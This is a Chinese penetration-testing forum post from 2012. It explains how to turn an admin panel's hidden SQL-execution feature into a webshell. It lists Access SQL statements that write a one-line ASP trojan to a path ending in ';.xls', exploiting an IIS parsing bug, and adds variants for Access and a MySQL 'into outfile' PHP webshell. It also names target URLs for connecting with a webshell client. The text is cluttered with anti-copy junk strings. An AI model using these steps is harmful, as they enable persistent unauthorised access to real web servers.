中国网络渗透测试联盟
标题:
ACCESS执行SQL命令导出一句话SHELL
[打印本页]
作者:
admin
时间:
2012-9-13 17:53
标题:
ACCESS执行SQL命令导出一句话SHELL
好不容易进了后台,发现啥上传啊。备份啊多木有。
. B8 ?, o* u' p( l
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
7 @. ?% \0 H6 ~3 H* P6 m
文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,
+ P& \4 M4 v# @# S+ t3 l" |8 s: E
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
1 q8 q3 n1 j4 M4 o5 d& e
1.create table cmd (a varchar(50))
- }$ ?: c# }" _. e9 ^8 O3 T
2.insert into cmd (a) values (‘‘)
. `3 T# X) f/ o; I! ~% a# X
3.select * into [a] in ‘D:\wwwroot\
www.koohik.com
\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
0 N1 c- ~) |3 w" }+ @" E% x7 T9 R
(把表cmd的内容导出为物理路径的一个EXCEL文件)
/ W U% c( @4 l% d! O! \- ^! h
4.drop table cmd
8 T9 g: n ?. S8 ~& k2 K
利用IIS的BUG成功拿到了WEBSHELL。
! u+ H# A$ {$ F6 z! {% I
" Q* ?% n9 y1 u$ h6 K
直接菜刀里连接
http://www.chouwazi.com/data/xiao.asp;xiao.xls
一句话
: |5 {" B" P( E3 j7 t
2 J) v, b l+ V: n- i! n
SQL语句意思解释:
4 O2 l9 z. W5 S6 @& q) p6 L" L) S
第一句
* n* |* S2 u& _7 _- L4 r- E
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
, R" r- J; c* @9 w" ?
0 f& p4 I% q0 L: n6 \' ?% D
第二句
$ @% }3 ^# V8 Q
在表cmd的a字段插入一句话木马
/ b6 d/ O5 m; O
第三句
3 ?) `- }1 G- E) E" g$ G( q6 p
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
, B' h3 J3 T) F5 F, \
+ U9 h6 k: R- W: R* [! I4 f
第四句
- M5 @6 H$ T6 |! R' q
删除建立的cmd表
: d: ?% A. w' V) i6 ?8 j- p
5 `# \% H3 }5 E* p3 `! j/ n: N7 G1 _& S
以下内容为测试:
: ?/ b5 K3 |) n o
Access利用后台SQL执行命令功能导出WebShell:
+ x$ d- K U$ [3 A
这个更简单:
$ @. l( n6 O; K, S
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
. ?# m$ Q$ b! `3 z
或者
2 k) a P. g" w4 v" w
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
' ^) D' O4 _! _/ A% F& ?
0 B3 `+ A) T9 {, L
后台有执行SQL语句功能(vote为已知表段)
+ |* @0 H( t& C. s
希望对大家有所帮助拿shell的又一个思路
: ^ o# U0 `/ X2 w
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2